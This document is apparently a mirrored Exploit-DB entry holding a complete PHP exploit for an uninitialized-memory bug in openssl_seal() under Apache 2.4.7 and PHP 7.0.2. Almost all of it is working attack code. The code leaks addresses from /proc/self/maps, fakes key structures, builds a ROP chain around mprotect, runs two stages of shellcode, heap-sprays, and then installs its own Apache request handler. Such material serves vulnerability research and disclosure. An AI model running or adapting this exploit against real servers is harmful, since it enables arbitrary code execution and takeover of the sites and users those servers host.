Apache 2.4.7 + PHP 7.0.2 – ‘openssl_seal()’ Uninitialized Memory Code Execution

  • 作者: akat1
    日期: 2016-02-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40142/
  • <?php
    
    // Source: http://akat1.pl/?id=1
    
    function get_maps() {
    $fh = fopen("/proc/self/maps", "r");
    $maps = fread($fh, 331337);
    fclose($fh);
    return explode("\n", $maps);
    }
    
    function find_map($sym) {
    $addr = 0;
    foreach(get_maps() as $record)
    if (strstr($record, $sym) && strstr($record, "r-xp")) {
    $addr = hexdec(explode('-', $record)[0]);
    break;
    }
    
    if ($addr == 0)
    die("[-] can't find $sym base, you need an information leak :[");
    
    return $addr;
    }
    
    function fill_buffer($offset, $content) {
    global $buffer;
    for ($i = 0; $i < strlen($content); $i++)
    $buffer[$offset + $i] = $content[$i];
    return;
    }
    
    $pre = get_maps();
    $buffer = str_repeat("\x00", 0xff0000);
    $post = get_maps();
    
    $tmp = array_diff($post, $pre);
    
    if (count($tmp) != 1)
    die('[-] you need an information leak :[');
    
    $buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
    $addr = $buffer_base+0x14; /* align to string */
    
    echo "[+] buffer string @ 0x".dechex($addr)."\n";
    
    $align = 0xff;
    $addr += $align;
    
    echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
    echo "[+] faking ASN @ 0x".dechex($addr)."\n";
    fill_buffer($align + 12, pack('P', $addr));
    
    $libphp_base = find_map("libphp7");
    echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";
    
    /* pop x ; pop rsp ; ret - stack pivot */
    $rop_addr = $libphp_base + 0x00000000004a79c3;
    echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
    fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));
    
    /* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
    $rop_addr = $libphp_base + 0x000000000041d583;
    fill_buffer($align - 4, pack('P', $rop_addr));
    
    $libc_base = find_map("libc-");
    echo "[+] libc base @ 0x".dechex($libc_base)."\n";
    
    $mprotect_offset = 0xf4a20;
    $mprotect_addr = $libc_base + $mprotect_offset;
    echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";
    
    $mmap_offset = 0xf49c0;
    $mmap_addr = $libc_base + $mmap_offset;
    echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";
    
    $apache2_base = find_map("/usr/sbin/apache2");
    echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";
    
    $ap_rprintf_offset = 0x429c0;
    $ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
    echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";
    
    $ap_hook_quick_handler_offset = 0x56c00;
    $ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
    echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";
    
    echo "[+] building ropchain\n";
    $rop_chain =
    pack('P', $libphp_base + 0x00000000000ea107) .// pop rdx ; ret
    pack('P', 0x0000000000000007) . // rdx = 7
    pack('P', $libphp_base + 0x00000000000e69bd) .// pop rsi ; ret
    pack('P', 0x0000000000004000) . // rsi = 0x1000
    pack('P', $libphp_base + 0x00000000000e5fd8) .// pop rdi ; ret
    pack('P', $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr
    pack('P', $mprotect_addr) . // mprotect addr
    pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
    fill_buffer($align + 0x14, $rop_chain);
    
    $shellcode_stage1 = str_repeat("\x90", 512) .
    "\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax
    "\x49\xb8" . pack('P', 0x1000) .// handler size
    "\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler
    "\x48\xba" . pack('P', $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx
    "\x48\xbe" . pack('P', 0) . // UNUSED
    "\x48\xbf" . pack('P', $mmap_addr) .// movabs mmap,%rdi
    "\xff\xd0" .// callq %rax
    "\xb8\x27\x00\x00\x00" .// mov $0x27,%eax - getpid syscall
    "\x0f\x05" .// syscall
    "\xbe\x1b\x00\x00\x00" .// mov $0xd,%esi - SIGPROF
    "\x89\xc7" .// mov %eax,%edi - pid
    "\xb8\x3e\x00\x00\x00" .// mov $0x3e,%eax- kill syscall
    "\x0f\x05"; // syscall
    fill_buffer(0x1000, $shellcode_stage1);
    
    $shellcode_stage2 = str_repeat("\x90", 512) .
    "\x55" .// push %rbp
    "\x48\x89\xe5" .// mov%rsp,%rbp
    "\x48\x83\xec\x40" .// sub$0x40,%rsp
    "\x48\x89\x7d\xe8" .// mov%rdi,-0x18(%rbp)
    "\x48\x89\x75\xe0" .// mov%rsi,-0x20(%rbp)
    "\x48\x89\x55\xd8" .// mov%rdx,-0x28(%rbp)
    "\x48\x89\x4d\xd0" .// mov%rcx,-0x30(%rbp)
    "\x4c\x89\x45\xc8" .// mov%r8,-0x38(%rbp)
    "\x48\x8b\x45\xe8" .// mov-0x18(%rbp),%rax
    "\x41\xb9\x00\x00\x00\x00" .// mov$0x0,%r9d
    "\x41\xb8\xff\xff\xff\xff" .// mov$0xffffffff,%r8d
    "\xb9\x22\x00\x00\x00" .// mov$0x22,%ecx
    "\xba\x07\x00\x00\x00" .// mov$0x7,%edx
    "\xbe\x00\x20\x00\x00" .// mov$0x2000,%esi
    "\xbf\x00\x00\x00\x00" .// mov$0x0,%edi
    "\xff\xd0" .// callq*%rax
    "\x48\x89\x45\xf0" .// mov%rax,-0x10(%rbp)
    "\x48\x8b\x45\xf0" .// mov-0x10(%rbp),%rax
    "\x48\x89\x45\xf8" .// mov%rax,-0x8(%rbp)
    "\xeb\x1d" .// jmp0x40063d <shellcode+0x6d>
    "\x48\x8b\x45\xf8" .// mov-0x8(%rbp),%rax
    "\x48\x8d\x50\x01" .// lea0x1(%rax),%rdx
    "\x48\x89\x55\xf8" .// mov%rdx,-0x8(%rbp)
    "\x48\x8b\x55\xd0" .// mov-0x30(%rbp),%rdx
    "\x48\x8d\x4a\x01" .// lea0x1(%rdx),%rcx
    "\x48\x89\x4d\xd0" .// mov%rcx,-0x30(%rbp)
    "\x0f\xb6\x12" .// movzbl (%rdx),%edx
    "\x88\x10" .// mov%dl,(%rax)
    "\x48\x8b\x45\xc8" .// mov-0x38(%rbp),%rax
    "\x48\x8d\x50\xff" .// lea-0x1(%rax),%rdx
    "\x48\x89\x55\xc8" .// mov%rdx,-0x38(%rbp)
    "\x48\x85\xc0" .// test %rax,%rax
    "\x75\xd2" .// jne0x400620 <shellcode+0x50>
    "\x48\x8b\x7d\xf0" .// mov-0x10(%rbp),%rdi
    "\x48\x8b\x45\xd8" .// mov-0x28(%rbp),%rax
    "\xb9\xf6\xff\xff\xff" .// mov$0xfffffff6,%ecx
    "\xba\x00\x00\x00\x00" .// mov$0x0,%edx
    "\xbe\x00\x00\x00\x00" .// mov$0x0,%esi
    "\xff\xd0" .// callq*%rax
    "\xc9" .// leaveq
    "\xc3"; // retq
    fill_buffer(0x2000, $shellcode_stage2);
    
    $handler =
    "\x55" .// push %rbp
    "\x48\x89\xe5" .// mov%rsp,%rbp
    "\x48\x83\xec\x30" .// sub$0x30,%rsp
    "\x48\x89\x7d\xd8" .// mov%rdi,-0x28(%rbp)
    "\x48\xb8" . pack('P', $ap_rprintf_addr) .// movabs $0xdeadbabefeedcafe,%rax
    "\x48\x89\x45\xf8" .// mov%rax,-0x8(%rbp)
    "\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax
    "\x48\x89\x45\xe0" .// mov%rax,-0x20(%rbp)
    "\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax
    "\x48\x89\x45\xe8" .// mov%rax,-0x20(%rbp)
    "\x48\x8d\x4d\xe0" .// lea-0x20(%rbp),%rcx
    "\x48\x8b\x55\xd8" .// mov-0x28(%rbp),%rdx
    "\x48\x8b\x45\xf8" .// mov-0x8(%rbp),%rax
    "\x48\x89\xce" .// mov%rcx,%rsi
    "\x48\x89\xd7" .// mov%rdx,%rdi
    "\xff\xd0" .// callq*%rax
    "\xb8\x00\x00\x00\x00" .// mov$0x0,%eax
    "\xc9" .// leaveq
    "\xc3"; // retq
    fill_buffer(0x3000, $handler);
    
    $addr = pack('P', $addr);
    $memory = str_repeat($addr,321);
    
    $pem = "
    -----BEGIN PUBLIC KEY-----
    MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
    -----END PUBLIC KEY-----"; /* Random RSA key */
    
    $a = array_fill(0,321,0);
    /* place valid keys at the beginning */ 
    $k = openssl_pkey_get_public($pem);
    $a[0] = $k; $a[1] = $k; $a[2] = $k;
    echo "[+] spraying heap\n";
    $x = array();
    for ($i = 0 ; $i < 20000 ; $i++) {
    $x[$i] = str_repeat($memory, 1);
    }
    for ($i = 0 ; $i < 20000 ; $i++) {
    unset($x[$i]);
    }
    unset($x);
    echo "[+] triggering openssl_seal()...\n";
    @openssl_seal($_, $_, $_, $a);
    echo "[-] failed ;[\n";